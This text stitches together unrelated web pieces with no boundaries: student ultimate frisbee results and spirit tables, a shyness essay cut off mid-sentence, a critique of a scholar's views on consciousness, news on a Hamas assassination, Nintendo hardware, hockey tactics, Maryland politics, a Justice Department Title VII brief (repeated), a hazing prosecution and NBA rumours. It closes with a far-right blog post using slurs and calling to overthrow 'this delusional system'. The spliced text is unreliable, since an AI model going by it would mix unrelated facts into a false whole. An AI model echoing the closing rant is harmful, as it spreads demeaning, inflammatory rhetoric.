In the Women's Division, the University of Oxford prevented Birmingham from sweeping the major outdoor trophies with an 8-5 win in the final, helped enormously by a stellar MVP performance from Leila Denniston. Loughborough University took third, losing a very tight semi final to Oxford before avenging a pool-play defeat by Newcastle in the third place match.
In Open Division 2, the University of Nottingham proved themselves the class of the field with a dominant win. They faced no real test before the final, which they took 9-6 over regional rivals the Univerity of York, with Swansea University taking third place.
In the Alumni division, Sussex Alumni took home the trophy, beating Birmingham and Dundee into second and third respectively.
Full results can be seen on the schedule: http://goo.gl/cBgYQo
Full spirit results are reproduced below. Congratulations to Leeds for winning Spirit in Open Division 1.
Note that other divisions did not have sufficient scores handed in before the presentation for us to be able to award a trophy; please bear this in mind in future - it's not that hard to enter scores promtply after games, and if you fail to do so the whole system fails.
Thanks to all those who have filled in spirit scores now though - we do now have a pretty full set of feedback for your opponents, which is great! :-)
Newcastle (Women), Edinburgh (Open), and Liverpool (Alumni), we'll get the toprhies to you soon!
Division 1:
Count Rules Fouls Fairness Attitude Comms Total (d1) Leeds (YE1) 7 2.14 2.29 2.29 2.29 2.00 11.00 (d1) Cambridge (EL1) 8 2.00 1.88 2.50 2.13 2.25 10.75 (d1) Oxford (SE2) 7 2.00 1.86 2.29 2.43 2.14 10.71 (d1) Heriot Watt (Sc2) 8 2.00 2.00 2.25 2.25 2.13 10.63 (d1) Warwick (WW3) 7 2.00 2.29 2.00 2.14 2.14 10.57 (d1) Durham (NN3) 7 2.14 2.00 2.14 2.29 2.00 10.57 (d1) Birmingham (WW1) 8 2.00 2.00 2.00 2.00 2.50 10.50 (d1) Sussex (SE1) 7 2.29 1.71 2.00 2.29 2.00 10.29 (d1) Strathclyde (Sc5) 7 1.86 2.00 2.14 2.29 2.00 10.29 (d1) St Andrews (Sc3) 7 1.86 2.00 2.00 2.29 2.14 10.29 (d1) Liverpool (NN2) 7 1.86 2.00 2.29 2.14 2.00 10.29 (d1) Bath (SW1) 7 2.00 2.00 2.00 2.00 2.29 10.29 (d1) Dundee (Sc1) 7 1.86 1.86 2.29 2.00 2.14 10.14 (d1) Sheffield (YE2) 8 2.13 2.00 2.00 1.63 2.13 9.88 (d1) UCL (EL2) 6 1.83 1.83 2.00 2.17 2.00 9.83 (d1) Glasgow (Sc4) 8 1.88 1.75 1.88 2.00 2.25 9.75 (d1) Staffordshire (WW4) 7 2.00 1.71 1.71 2.00 2.00 9.43 (d1) Cardiff (WW2) 7 1.71 1.71 2.00 1.71 2.14 9.29 (d1) Southampton (SW2) 7 2.00 1.71 1.71 1.71 1.71 8.86 (d1) Manchester (NN1) 8 1.63 1.63 1.75 1.38 1.38 7.75
Women's:
Count Rules Fouls Fairness Attitude Comms Total (W) Newcastle (N10) 5 2.20 2.00 2.40 2.60 2.20 11.40 (W) Loughborough (N2) 7 2.00 2.14 2.14 2.57 2.29 11.14 (W) Oxford (E1) 6 2.17 1.67 2.50 2.33 2.17 10.83 (W) Manchester (N9) 6 2.00 2.00 2.17 2.17 2.17 10.50 (W) Strathclyde (Sc6) 7 2.14 1.71 2.29 2.14 2.14 10.43 (W) St Andrews (Sc5) 5 1.80 1.80 2.00 2.60 2.20 10.40 (W) Sussex 1 (E3) 6 2.00 2.00 2.17 2.17 2.00 10.33 (W) Glasgow (Sc3) 6 2.00 2.00 2.00 2.33 2.00 10.33 (W) Bath (W4) 6 1.83 1.67 2.00 2.33 2.50 10.33 (W) Surrey (E5) 6 1.67 1.83 2.33 2.17 2.17 10.17 (W) Leeds 1 (N1) 7 2.00 1.86 2.14 2.14 2.00 10.14 (W) UCL (E2) 5 2.00 2.00 2.00 2.00 2.00 10.00 (W) Sheffield (N4) 6 2.00 2.17 2.00 1.83 2.00 10.00 (W) Leicester (N8) 6 1.67 1.83 2.17 2.33 2.00 10.00 (W) Leeds 2 (N12) 6 1.50 2.17 2.17 2.33 1.83 10.00 (W) Edinburgh (Sc4) 5 2.00 1.80 2.00 2.20 2.00 10.00 (W) Dundee (Sc1) 4 1.75 2.00 2.00 2.00 2.25 10.00 (W) Cambridge (E4) 6 2.00 1.83 2.17 2.00 2.00 10.00 (W) Bristol (W3) 6 2.00 1.67 2.17 2.00 2.17 10.00 (W) Birmingham (W1) 7 1.86 2.00 2.14 2.00 1.86 9.86 (W) York (N7) 6 1.67 2.17 2.00 2.00 2.00 9.83 (W) Heriot Watt (Sc2) 6 2.00 1.83 2.17 1.83 2.00 9.83 (W) Durham (N3) 6 1.83 1.83 2.00 2.17 2.00 9.83 (W) Cardiff (W2) 8 1.88 1.75 2.00 2.25 1.88 9.75 (W) Nottingham (N5) 7 2.00 2.00 2.00 1.86 1.86 9.71 (W) Bangor (N11) 7 2.00 1.86 2.00 1.86 2.00 9.71 (W) Southampton (W5) 6 1.83 2.00 1.83 2.00 1.83 9.50 (W) Warwick (W6) 5 1.80 1.80 2.00 2.00 1.80 9.40 (W) Liverpool (N6) 6 1.67 1.50 2.00 2.00 1.83 9.00 (W) Sussex 2 (E6) 7 1.14 1.86 2.00 2.14 1.71 8.86
Open Division 2:
Count Rules Fouls Fairness Attitude Comms Total (d2) Edinburgh (Sc6) 6 2.50 2.50 2.17 2.67 2.33 12.17 (d2) Kent (SE5) 7 2.00 2.43 2.57 2.29 2.14 11.43 (d2) Bristol (SW4) 7 2.00 2.00 2.43 2.29 2.43 11.14 (d2) York (YE3) 6 2.17 2.17 2.17 2.00 2.33 10.83 (d2) Nottingham (YE4) 6 1.83 2.00 2.33 2.00 2.33 10.50 (d2) Stirling (Sc7) 6 1.67 2.00 2.50 2.17 2.00 10.33 (d2) Imperial (EL3) 7 2.29 1.86 2.29 2.00 1.86 10.29 (d2) Swansea (WW5) 7 1.71 1.71 2.29 2.29 1.86 9.86 (d2) Surrey (SE3) 7 2.00 1.71 2.14 2.14 1.86 9.86 (d2) Newcastle (NN4) 6 1.83 2.00 2.50 1.67 1.83 9.83 (d2) Bangor (WW6) 7 1.71 1.86 2.00 2.14 1.86 9.57 (d2) UCLan (NN5) 6 1.67 1.83 2.17 2.17 1.67 9.50 (d2) Exeter (SW3) 7 2.00 1.86 1.86 1.86 1.86 9.43 (d2) Portsmouth (SE4) 6 1.67 1.67 2.00 1.83 2.17 9.33 (d2) UEA (EL4) 7 1.43 1.86 2.00 2.00 2.00 9.29 (d2) Hallam (YE5) 6 1.67 1.67 2.00 1.83 2.00 9.17
Alumni Cup:I’ve always been shy. I tend to keep to myself, and I’m rarely the first one to talk to a stranger. I also hate talking in large groups; I usually just listen, and only give my opinion when asked. I’d resigned myself to the fact that I was an introvert and shyness was part of my personality, but I’ve always envied people who are friendly and outgoing.
Turns out about 40% of adults believe they’re shy, according to research from Indiana University Southeast. While knowing I’m not alone was comforting, I wanted to see what being like the other 60% felt like. I decided to pretend to be extroverted for a week with the thought that it was temporary. I could go back to being “myself” when it was over.
First, I had to understand the difference between being shy and being an introvert. “On the surface, a shy person and an introvert look exactly alike,” says Bernardo Carducci, professor of psychology and director of the Shyness Research Institute at Indiana University Southeast. “The critical difference is on the inside.”
At a party, for example, an introvert stands to the side because they prefer to be there. “There’s less social stimulation, and they have a more sensitive nervous system and prefer to get away from noise,” says Carducci. “They withdraw from the social world because they’re minimizing stimulation. They have friends, but they prefer social functions that are smaller and more sedate.”
“You shouldn’t feel like a failure if people don’t respond to the topic you tossed out. It may take two or |
other stuff.
Actually, as I’ve pointed out many times, science does not take “nonmaterial” or spiritual phenomena off the table. It’s perfectly acceptable to test psychic and paranormal phenomena like ESP and spiritual healing, and in fact those tests have been done. But they always fail, and so, as Laplace said, we no longer need those explanations. It’s not that we’ve taken non-materialism off the table—it’s simply fallen off the table.
Kripal clearly denies that consciousness comes from our brains and obeys the law of nature (my emphasis):
We are in the ridiculous situation of having conscious intellectuals tell us that consciousness does not really exist as such, that there is nothing to it except cognitive grids, software loops, and warm brain matter. If this were not so patently absurd and depressing, it would be funny.... After all, consciousness is the fundamental ground of all that we know or ever will know. It is the ground of all of the sciences, all of the arts, all of the social sciences, all of the humanities, indeed all human knowledge and experience. Moreover, as far as we can tell, this presence is sui generis. It is its own thing. We know of nothing else like it in the universe, and anything we might know later we will know only through this same consciousness. Many want to claim the exact opposite, that consciousness is not its own thing, is reducible to warm, wet tissue and brainhood. But no one has come close to showing how that might work. Probably because it doesn’t.
First of all, nobody says that the phenomenon of consciousness doesn’t exist. It clearly does, for we all experience it. And yes, we don’t yet fully understand its evolutionary origins and neurological underpinnings. But science has made enormous progress in understanding both of these, especially how consciousness is a brain-bound phenomenon. We can alter our consciousness through electrical stimulation or the ingestion of chemicals like LSD; we can efface it with anesthetics and then restore it; we can read signals in the brain and tell what a person is imagining; and we’ve begun to make plausible models of how the brain’s circuitry can store and retrieve our thoughts. In fact, neuroscientists have a good idea about what parts of the brain and what types of neural activity are critical for consciousness. Finally, when the brain expires, so does consciousness. Nobody has been able to communicate with the dead.
As for the evolution of consciousness, well, there’s a clear evolutionary advantage for a complex mammal to perceive and monitor its environment, including the psychology and behavior of our fellows, and so adjust our behavior to promote our survival and reproduction—all the things that consciousness does for us. Subjectivity—the feeling of “I-ness” that many claim is a great mystery, may simply be an ineluctable byproduct of our highly evolved system for processing information.
This is not to say that we understand everything, for neuroscience is a young field. But the progress has been remarkable, and gives us confidence that everything that constitutes our consciousness does indeed reside in that “warm, wet tissue.” And every bit of this progress has been achieved through reason, experimental study, and adherence to naturalism, the idea that the universe is governed solely by empirical laws. None of the paranormal or supernatural notions floated by Kripal—the teleological, the divine, ESP, or those uncanny precognitive anecdotes—have advanced our understanding of consciousness one iota.
Then comes Kripal’s inevitable kvetching about how science has marginalized his field:
Humanists have paid a heavy price for their shrinking act. We are more or less ignored now by both the general public and our colleagues in the natural sciences, whose disciplines, of course, make no sense at all outside of universal observations, and who often work from bold cosmic visions, wildly counterintuitive models (think ghostlike multiverses and teleporting particles), and evolutionary spans of time that make our “histories” look insignificant and boring by comparison. I am aware, of course, that there are signs of life in the humanities. I am thinking in particular of the development of “big history” in historiography and of the new materialisms, vitalisms, and panpsychisms of contemporary philosophy, as evident in Thomas Nagel’s recent well-publicized doubts about the adequacy of neo-Darwinian materialism, expressed in his book Mind and Cosmos.
Well, Nagel’s book was well-publicized but not well received. It was a work of philosophy of science, and was criticized heavily by both scientists and philosophers. The people who liked Nagel’s message that There Is More Than Naturalism were the theologians and the humanists who feel that science is stepping on their toes. I doubt that the “vitalisms and panpsychisms of contemporary philosophy” have gotten much traction beyond Nagel.
Finally, Kripal uses David Eagleman’s example of a Bushman finding a transistor radio, and, fiddling with its wires, decides that the voices it emanates derive from its circuits, because when those circuits are disrupted, the voices go away. (This reminds me of the paternalistic movie “The Gods Must be Crazy,” also involving the Bushmen—who, by the way, are usually called the San). How can that San individual possibly imagine the presence of radio stations, distant cities, and civilizations? It is beyond his ken.
So, says Kripal, our brain is like that radio, for our consciousness receives messages whose source is also beyond our ken. Those messages are “transhuman”: beyond the domains of naturalism and materialism—and sometimes come from the dead.
William James, Henri Bergson, and Aldous Huxley all argued the same long before Eagleman. Bergson even used the same radio analogy. This is where the historian of religions—this one, anyway—steps in. There are, after all, countless other clues in the history of religions that rule the radio theory in, and that suggest, though hardly prove, that the human brain may function as a super-evolved neurological radio or television and, in rare but revealing moments when the channel suddenly “switches,” as an imperfect receiver of some transhuman signal that simply does not play by the rules as we know them. [The radio model] puts back on the table much of the evidence that we have taken off as impossible or nonexistent (all that Platonic stuff about the human spirit). In this same generous, symmetrical spirit, it is not that materialism is wrong. It is that it is half-right. Such a radio model certainly has no problem understanding how Mark Twain could have known about his brother’s imminent funeral, why a wife could know about her husband’s distant car wreck, or why a Swedish scientist could track a fire 50 miles away. The mind can know things distant in space and time because it is not limited to space or time. Mind is not “in” the radio or brain box. The payoff here is immense: The impossible suddenly becomes possible. Indeed, it becomes predictable. What we have been doing for the past few centuries is studying the construction and workings of the physical radio. But the radio was built for the radio signal (and vice versa). How can we understand the one without the other? It is time to come to terms with both. It is time to invite Plato back to the table—to restore the humanities to consciousness. The rest will follow.
But our brain is not anything like a radio. The information processed in that organ comes not from a transhuman ether replete with other people’s thoughts, but from signals sent from one neuron to another, ultimately deriving from the effect of our physical environment on our senses. If you cut your optic nerves, you go blind; if you cut the auditory nerves, you become deaf. Without such sensory inputs, whose mechanisms we understand well, we simply don’t get information from the spooky channels promoted by Kripal.
When science manages to find reliable evidence for that kind of clairvoyance, I’ll begin to pay attention. Until then, the idea of our brain as a supernatural radio seems like a kind of twentieth-century alchemy—the resort of those whose will to believe outstrips their respect for the facts.
Jerry A. Coyne is a professor of Ecology and Evolution at The University of Chicago and author of Why Evolution is True, as well as the eponymous website. A version of this post first appeared on WhyEvolutionIsTrue.TEL AVIV – Two of the main suspects in the assassination of Mazen Faqha, a senior official in Hamas’ military wing in Gaza, were among those Hamas terrorists released from an Israeli jail in return for captured soldier Gilad Shalit, a senior Palestinian figure involved in investigations into the assassination told Breitbart Jerusalem.
Faqha was killed last month in the Tal Alhawa neighborhood of Gaza City in an assassination Hamas blames on Israel, and was himself one of the 1000 Palestinians released in the deal for Shalit. Faqha was a resident of the town of Tobas in the north of the West Bank, but he was deported to Gaza alongside dozens of others released in the deal in accordance with terms that Israel had insisted on as part of the agreement.
Since his assassination in March, Hamas authorities have been working around the clock to identify and capture those responsible. The accepted assessment within the Gaza Strip’s Hamas leadership is that Israel was ultimately behind the killing with the help of local agents.
According to the political figure speaking to Breitbart Jerusalem, two individuals who are considered chief suspects and are being held by authorities were among those released in the Shalit deal. The source involved in the investigation told Breitbart Jerusalem that authorities are still searching for a third suspect who is also among those released in the Shalit deal, but it is believed that he has already fled the Gaza Strip.
Israeli Defense Minister Avigdor Lieberman recently responded to the accusations against Israel, saying that Faqha’s death was the result of infighting within Hamas.
A source from within Hamas told Breitbart Jerusalem that the group rejects Lieberman’s claims, but refused to deny that key suspects in the case were involved in the Shalit deal. According to the source, a gag order on the details of the case is still in place and all angles are being investigated, but that “the only working assumption is that Israel alone could have benefited from the assassination of brother Faqha.”
The source added that “Israel’s attempt to blame assassinations she commits on internal Palestinian strife is a strategy we’ve been familiar with since the beginning of the occupation and it won’t work. Israel’s claims won’t distract us from searching for Israeli agents and getting square with them and Israel.”Monster Hunter 4 Ultimate And Smash Bros. To Get “New Nintendo 3DS” Bundles In Japan
By Sato. August 29, 2014. 1:32pm
Nintendo had quite a lot to announce during this morning’s Nintendo 3DS Direct, with the big surprise being their New Nintendo 3DS and New Nintendo 3DS XL systems. The two systems have more CPU power, better battery life and stereoscopic 3D that doesn’t distort when you view it at an angle.
Eventually, these two systems will get exclusive games, including a version of Xenoblade Chronicles, Monolith Soft’s fantastic RPG for the Wii. But before those come along, how do Nintendo plan to sell the New Nintendo 3DS systems in Japan? Answer: with Monster Hunter 4 Ultimate and Smash Bros.
This morning, Nintendo announced a special New Nintendo 3DS bundle that comes with Monster Hunter 4 Ultimate in Japan. It will be one of the first limited edition models for the new handheld series, and will release simultaneously with Monster Hunter 4 Ultimate on October 11, 2014 for 25,600 yen (about $246.22).
Nintendo were keen to point out that Monster Hunter 4 Ultimate and even this December’s Final Fantasy Explorers will both take advantage of the New Nintendo 3DS’ second analog stick, even though you don’t require it to play either game. Capcom and Square Enix have been in on the secret for a while.
Additionally, Super Smash Bros. will also get a New 3DS XL model. In the case of the Smash Bros. model, the official website indicates that it won’t include the game, and it will release sometime in November, just a couple months after the release of the game in Japan.
The design looks like the same as the limited edition 3DS XL model that will be included with the game’s release.
Both hardware bundles should ensure a fairly good start for the New Nintendo 3DS once the system is available in the Japanese market.Now that we've seen the Detroit Red Wings play a few games under new head coach Jeff Blashill, I wanted to bring to light some of the tactics that he has brought to this team. Specifically, I wanted to look at how the Red Wings breakout of their own zone, how the Red Wings enter the offensive zone, and how the Red Wings set up their forecheck. This will be a three-part series and the first part will focus on how the Red Wings break out of the defensive zone.
What Is A Zone Breakout?
In simple terms, it is when a team reclaims possession of the puck in their own zone and looks to make the initial pass to start the offensive attack. Jen Lute Costella broke this down in a manner far better than I ever will be able to earlier this year and I would highly recommend checking out her piece. Essentially, there are a variety of plays that a team can use to transition the puck from the defensive zone to the offensive zone with the two most common plays being a motion regroup and a lane regroup. The Red Wings have employed a few different breakout plays this year, but the most common one I've noticed is the motion regroup.
The Motion Regroup
Words won't do this justice so check out the animated drawing I've done to illustrate what the breakout should look like. Imagine the Red Wings as the team with the puck in blue and the opponent is in a 1-2-2 forecheck in red.
Essentially, the RW takes place over on the far right hand boards and cuts across center ice while the C and LW wheel in the defensive zone to build speed and then cut on diagonals as well. In the mean time, the puck is moved from D1 to D2 to open up the passing lanes across the formation. The advantages of this type of breakout is that the forwards often have a good head of steam built up and can catch the opposition's defensemen flat-footed. The down-side is that sometimes this play is difficult to read for the passing defenseman as the C and LW sometimes will switch skating lanes based on the coverage. This can make it tough for the passing defenseman to know where the forwards will be and the defenseman might panic and rush the first pass available. Now that you've seen an animated version, check out a gif of the Wings performing this exact play.
In this clip, watch how Glendening (C) and Miller (LW) wheel towards the right boards and then start to cut diagonally across the neutral zone as Ferraro (RW) cuts across the neutral zone to receive the pass down ice. In this instance you can see that Ericsson moves the puck quickly once he receives it instead of allowing the play to develop. This resulted in a rushed pass down ice that became an icing. Ottawa defended this breakout well by having their forwards drift back, making it difficult for the Detroit forwards to get open. One of the great things about the Motion Regroup formation is that there are a variety of plays that can be performed out of this set. Below is a common play utilized by the Red Wings to break up the 1-2-2 forecheck.
D-to-D Flat Pass
Sometimes, when the defense plays a 1-2-2 forecheck that has the top forwards sitting back in the neutral zone, it can be very difficult to execute the motion regroup as depicted in the video above. One of the modifications that can be done is known as the D-to-D Flat Pass that focuses on hitting the defenseman with speed who then hits the center with speed to get through the neutral zone cleanly. Check out the animated gif below demonstrating this breakout play.
As you can see, D1 hits D2 with a pass in stride which beats the center or "1" of the 1-2-2 forecheck. This forces one of the wingers of the "2" in the 1-2-2 forecheck to step up and take the defenseman. As soon as this happens, the defenseman slides a quick pass over to the center who is breaking through with speed on the side that was just vacated by the forechecker. This play has a high success rate for the Red Wings as they often use Kronwall as the passing defenseman and their centers have a lot of speed. Check out the gif below showing how the Red Wings run this play with Kronwall and Helm.
As you can see Ericsson hits Kronwall in stride who finds a streaking Helm who easily gains the offensive zone. This play forces the opposition to be more aggressive on the forecheck, as the Wings can build up serious speed before entering the neutral zone. The downside to this play is that it requires very quick decision-making from the Red Wings defenseman, especially if the opposition's defenseman pinches up to take away the center. Unfortunately, that's been a weakness for Detroit ever since Brian Rafalski and Nicklas Lidstrom retired. Nonetheless, they are still able to employ this play when Kronwall or Green are on the ice.
Stretch Play
One play that has been noticeably missing through the first 11 games of the season is the stretch play. Last March, Justin Abdelkader made the stretch play famous as he scored a number of breakaway goals off of pretty feeds. Below is an animation depicting how the stretch play is set up.
In this image you see the center and left winger will both wheel and switch lanes while the right winger cuts up the ice and then darts across the middle off the ice towards the opposition's blue line. Justin Abdelkader was a master at this and the Wings exploited his abilities several times last March. Below is a modified version of this play that resulted in an Abdelkader breakaway goal versus Arizona.
There's a lot that happens in this play that you can't see so I'll try and break it down via an animation.
What allows this breakout to happen is that Arizona's D-man chases Zetterberg all the way up the boards into the the Red Wings defensive zone. At the same time, the RW for Arizona elects to go for a change, leaving the entire left side of the ice wide open. Unknowingly, the Arizona LW continues to press into the offensive zone while the Arizona C drops back to cover the left side of the ice for his left-winger. Only problem is that the pinching defenseman has not recovered. Abdelkader picks up on this and breaks off his wheel route early and turns up towards the offensive blue line. Kindl hits him with a beautiful stretch pass and the rest is history.
In my review of the Red Wings breakout system, there is not really a whole lot different from Babcock's system last year. More than anything, I've just noticed the Red Wings forwards making the wrong reads or Red Wings defensemen trying to make a pass before the breakout develops. Guys are pressing when they don't need to and they aren't playing as instinctively as they did last year. The Abdelkader goal is a great example of this. Instead of cycling back down low and then wheeling, Abdelkader simply turns to the middle of the ice and looks for the stretch pass. As the Wings players become more comfortable with the subtle changes, I expect the game to open back up. The stretch pass is one of those plays that comes later as players feel comfortable in the system and it may be why we haven't seen it utilized yet. Regardless, the breakouts are getting better and look for the Wings to open up the neutral zone more and more each game.Up until now, humanity has overcome every crisis it has faced. We just survive, that’s what we, humans, do. Now we face a problem that, because of our very own lifestyle, has gained monstrous dimensions – pollution. So the question of whether the problem is now too far gone for it’s effects to be reversed or merely contained stands more relevant than ever before. This is what the dire reality looks like now.
Now that right here is a real mess. And what’s worse, it’s all our. So we all handle cleaning it up, if, of course, we can.
The sad thing, however, is that governments are trying to colonize space, spending billions of dollars on it, yet they seem to put all environmental issues aside for the moment. As a consequence, the planet is on the verge of becoming a wasteland. And if we continue to live like we do, there will be only one possible outcome – extinction.
Brought to you by the home cleaners that are trying to change the world one household at a time.After the surprise gubernatorial victory of Republican Larry Hogan in Maryland, pundits wondered how such an upset could happen in a state long dominated by Democrats.
But how blue is Maryland?
Sure, there are twice as many registered Democrats as Republicans here — but a majority of those Democrats live in the densely populated Washington suburbs and Baltimore. On either side, west toward the Allegheny mountains and east toward the Atlantic, are sprawling rural counties where residents tend to be much more conservative — tourists excepted. The Mason-Dixon line stretches across the state from east to west, close to the northern border.
This is a state where Heather Mizeur, a Democratic gubernatorial hopeful who campaigned on the idea of legalizing marijuana to fund pre-kindergarten for all 3- and 4-year-olds, won more than 21 percent of primary votes. And it’s a state where Michael Anthony Peroutka was elected this week to the Anne Arundel County Council, even as a video circulated showing him singing “Dixie” at a conference of the League of the South, a white supremacist group in which he was involved for years.
If you look at the lawbooks, Maryland appears pretty left-leaning. Under the leadership of Gov. Martin O’Malley (D) over the past eight years, lawmakers abolished the death penalty, legalized gay marriage, imposed some of the most strict gun-control measures in the country and extended a number of rights to undocumented immigrants, allowing some to get driver’s licenses or pay the in-state college tuition rate. Just this year, the General Assembly extended legal protections to transgender individuals, decriminalized possession of small amounts of marijuana and increased the minimum wage.
But many of those pieces of legislation were watered down and passed by thin margins.
Take the minimum wage, for example: O’Malley introduced legislation calling for the state’s base wage to increase to $10.10 by January 2017. This was the governor’s top priority for his last year in office, yet he struggled to get lawmakers — not just Republicans, but also many Democrats — behind the idea.
The legislation that finally passed stretches the time frame to July 2018 and doesn’t allow for automatic additional increases. Tipped workers will not see an increase in their base pay, and employers may pay a lower “training wage” to workers under the age of 20 for their first six months.
The changes angered many activists. They pointed to other liberal strongholds, like Connecticut and the District, where lawmakers were able to do more, sooner for their lowest-paid residents.
“In a state as progressive as Maryland, we frequently don’t see the progressiveness reflected in our elected officials,” Gustavo Torres, president of CASA in Action, which advocates for immigrant communities, said at a rally in early May. “We can face our greatest challenges from those who are supposed to be standing with us.”
Baltimore Sun columnist Dan Rodricks criticized Maryland Democrats in March for acting quickly to make it easier for the state’s wealthiest residents to pay less in estate taxes — and then dragging their feet on the minimum-wage increase.
The headline on his column would have also worked Wednesday morning, after Election Day:
“With Democrats like these, who needs GOP?”“As the courts have long held, discrimination based on sexual orientation does not fall within Title VII’s prohibition on sex discrimination because it does not involve ‘disparate treatment of men and women,’” the Justice Department wrote.
Lawyers from the Justice Department, which was directly not involved in the case, filed an amicus brief to the U.S. Court of Appeals for the Second Circuit, Buzzfeed reported. In its brief, the Justice Department argued that Title VII does not cover sexual orientation and thus, doesn’t protect LGBTQ+ people in the workplace.
The lawsuit in question was filed in 2010 by now-deceased Donald Zarda, a skydiving teacher who alleged his former employer, Altitude Express, fired him for being gay. Zarda brought his claim under Title VII, a federal law under the Civil Rights Act of 1964 that prohibits employers from discriminating against employees based on race, color, sex, national origin, and religion.
The Justice Department deliberately inserted itself into a federal court case Wednesday evening to argue against gay rights — a move that puts the DOJ at odds with another federal agency involved in the case.
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The Justice Department deliberately inserted itself into a federal court case Wednesday evening to argue against gay rights — a move that puts the DOJ at odds with another federal agency involved in the case.
The lawsuit in question was filed in 2010 by now-deceased Donald Zarda, a skydiving teacher who alleged his former employer, Altitude Express, fired him for being gay. Zarda brought his claim under Title VII, a federal law under the Civil Rights Act of 1964 that prohibits employers from discriminating against employees based on race, color, sex, national origin, and religion.
Lawyers from the Justice Department, which was directly not involved in the case, filed an amicus brief to the U.S. Court of Appeals for the Second Circuit, Buzzfeed reported. In its brief, the Justice Department argued that Title VII does not cover sexual orientation and thus, doesn’t protect LGBTQ+ people in the workplace.
“As the courts have long held, discrimination based on sexual orientation does not fall within Title VII’s prohibition on sex discrimination because it does not involve ‘disparate treatment of men and women,’” the Justice Department wrote.
The Justice Department did not immediately respond to VICE News request for comment.
By asserting that Title VII doesn’t cover discrimination on the basis of sexual orientation in the workplace, the Justice Department is also actively contradicting the Equal Employment Opportunity Commission — the federal agency created under Title VII to enforce federal laws against discrimination, including sexual orientation, according to David Cruz, an expert in constitutional law and a professor at the University of Southern California’s Gould School of Law.
Such a filing would normally be persuasive to courts, though Cruz said Trump’s reputation could dilute its effectiveness.
“Ordinarily, one might think that a filing on behalf of the United States might be viewed more seriously due to the moral authority of the federal government. Here, however, it’s unclear whether or not that will be the case,” Cruz said. “This administration is unprecedented in its efforts to curtail rights and the scandals it’s been confronting from the outset. It is not clear that the U.S. government can lay claim to much moral authority these days.”
Adam Winkler, a specialist in constitutional law and a professor at the UCLA School of Law, told VICE News that the amicus brief was an abrupt reversal from the Obama administration, which actively worked to protect the LGBTQ+ community.
“What’s striking is that it is so different than the Obama administration,” Winkler said. “It also shows that this administration is hostile to LGBT rights despite what we were heard on the campaign trail.”
Trump had initially championed the LGBTQ+ community and promised in a speech at the Republican National Convention in June 2016 that, “As president, I will do everything in my power to protect LGBTQ citizens from the violence and oppression of a hateful foreign ideology.”
The president has since changed his position. On the same day the DOJ filed its brief, Trump declared in a series of tweets that transgender individuals would no longer be permitted to serve in the United States military because they pose a “burden” to the troops.
“Today [Wednesday] was an absolutely horrible day for LGBT rights,” Winkler added.HARRISBURG, Pa. (Reuters) - Five members of a fraternity at New York City’s Baruch College will appear before a Pennsylvania judge for arraignment on Thursday on charges of third-degree murder in the 2013 hazing death of a pledge.
The house where Chun Hsien Deng died after a hazing ritual during a fraternity retreat in 2013 is pictured in Blakeslee, Pennsylvania, September 17, 2015. REUTERS/Eduardo Munoz
The five, all from the New York borough of Queens, are the last of 37 defendants from the Pi Delta Psi fraternity to be charged in connection with the death of Chun “Michael” Deng, 19, of Oakland Park, N.Y., at a rented house in the Pocono Mountains region of Pennsylvania.
Most of the 37 are students or former students at Baruch College in Manhattan. Three were members of the same fraternity at St. Johns University in Queens.
Facing arraignment on Thursday are Charles Lai, 24, of Queens Village; Kenny Kwan, 26, of Astoria; Raymond Lam, 22, and Daniel Li, 22, both of Kew Garden Hills; and Sheldon Wong, 23, of Queens.
Prosecutors in Monroe County have said they were saving the defendants facing the most serious charges for last.
Each of the five is charged with third-degree murder. If convicted, they face a sentence of more than 10 years in prison, with the final number to be determined by Pennsylvania’s complex sentencing guidelines.
The defendants are also charged with between 13 to 18 other offenses, including assault, participating in an attempted cover-up, hazing, and in Lai’s case, drug violations.
At the arraignment in Pocono Pines, Magisterial District Judge Richard Claypool will read the charges to each defendant and set bail. No plea will be entered at the hearing.
Deng died of brain and other injuries inflicted during a pledging ritual known as the “glass ceiling,” police say. Blindfolded and wearing a 30-pound pack, he was tackled repeatedly and slammed to the ground, they say.
The pack was supposed to represent the weight of Pi Delta Psi, which describes itself as an Asian-American cultural fraternity. The “glass ceiling” gauntlet is intended to symbolize the difficulties Asian-Americans experience in battling prejudice.
The rented house where Deng was found dead is about 96 miles west of New York City.
With Thursday’s arraignments tomorrow, all 37 defendants will have been formally charged. Pennsylvania law then provides for a preliminary hearing, where the prosecution presents the main points of its case to prove the arrest was justified.
Nine of the 37 defendants were scheduled for hearings on Oct. 16, but eight waived the hearing, and the ninth was granted a postponement.
More hearings are scheduled for Friday, and some or all of those may be waived.
Preliminary hearings for thee final six - the five defendants being arraigned Thursday, plus the one postponed on Oct. 16 - are set for early November.Though most of the NBA's offseason activity has come and passed, the trade rumors surrounding New York Knicks forward and 10-time NBA All-Star Carmelo Anthony continue to swirl as mid-August approaches.
Following up on his earlier report that the Portland Trail Blazers were interested in acquiring the 33-year-old from the Knicks, ESPN senior writer and NBA insider Adrian Wojnarowski appeared on the Ryen Russillo Show Friday morning to discuss the rumors after video of Portland guard CJ McCollum and Anthony playing pickup in New York was posted on Instagram earlier in the week:
"Portland is an interesting team in this because CJ McCollum and Damian Lillard have done a really good of recruiting Carmelo," Wojnarowkski told Russillo. "They’ve been on him. McCollum is in New York, you saw the video of [McCollum and Anthony] playing pickup. Selling [Anthony] on ‘Hey, look what our team could look like with you.’… but that’s incumbent ultimately on can Portland put a package together that appeals to New York?
"But if they could, then that’s a sleeper team in this to get Carmelo to waive his no-trade because I’m told they’ve piqued Carmelo’s interest at the very least."
Anthony holds career averages of 24.8 points and 6.6 rebounds per game over his 15-year NBA career. Entering his eighth season as a Knick in 2017-18, Anthony has a full no-trade clause to essentially select which team he would like to play for next should he and New York part ways.
Listen to Russillo's full interview with Wojnarowski below, starting around the 25-minute mark HERE.by Brett Stevens on August 24, 2015
Donald Trump eviscerates the Republican establishment by refusing to play by the rules — set by the Left — which require conservatives to apologize for noticing reality. He is the one man they have been unable to cuck, although it remains unclear whether he would be a conservative in office.
Either way, he has forced a lack of submission on the Right as people have realized that we live in a leftist society. Everything it does is based on leftist principles, and leftist goals, with softer methods but no different end-point than the Soviet Union.
While even the moderate right is public anathema, no one freaks out at the idea of Socialism or even Communism lite, a pathway (inevitably) to Full Communism. You can have your life destroyed for being more right-wing than the official Republican position, but no one blinks when someone advocates immediate Stalinesque Communism. This alone proves the Leftist stench of our time.
They will not mention it on your television or the big internet sites, but this society destroys people all the time for not agreeing with its ideological agenda. They do not even need to disagree, only fail to agree. People who notice the man behind the curtain find themselves publicly humiliated, demonized and ostracized.
We are all cuck until we overthrow this delusional system.
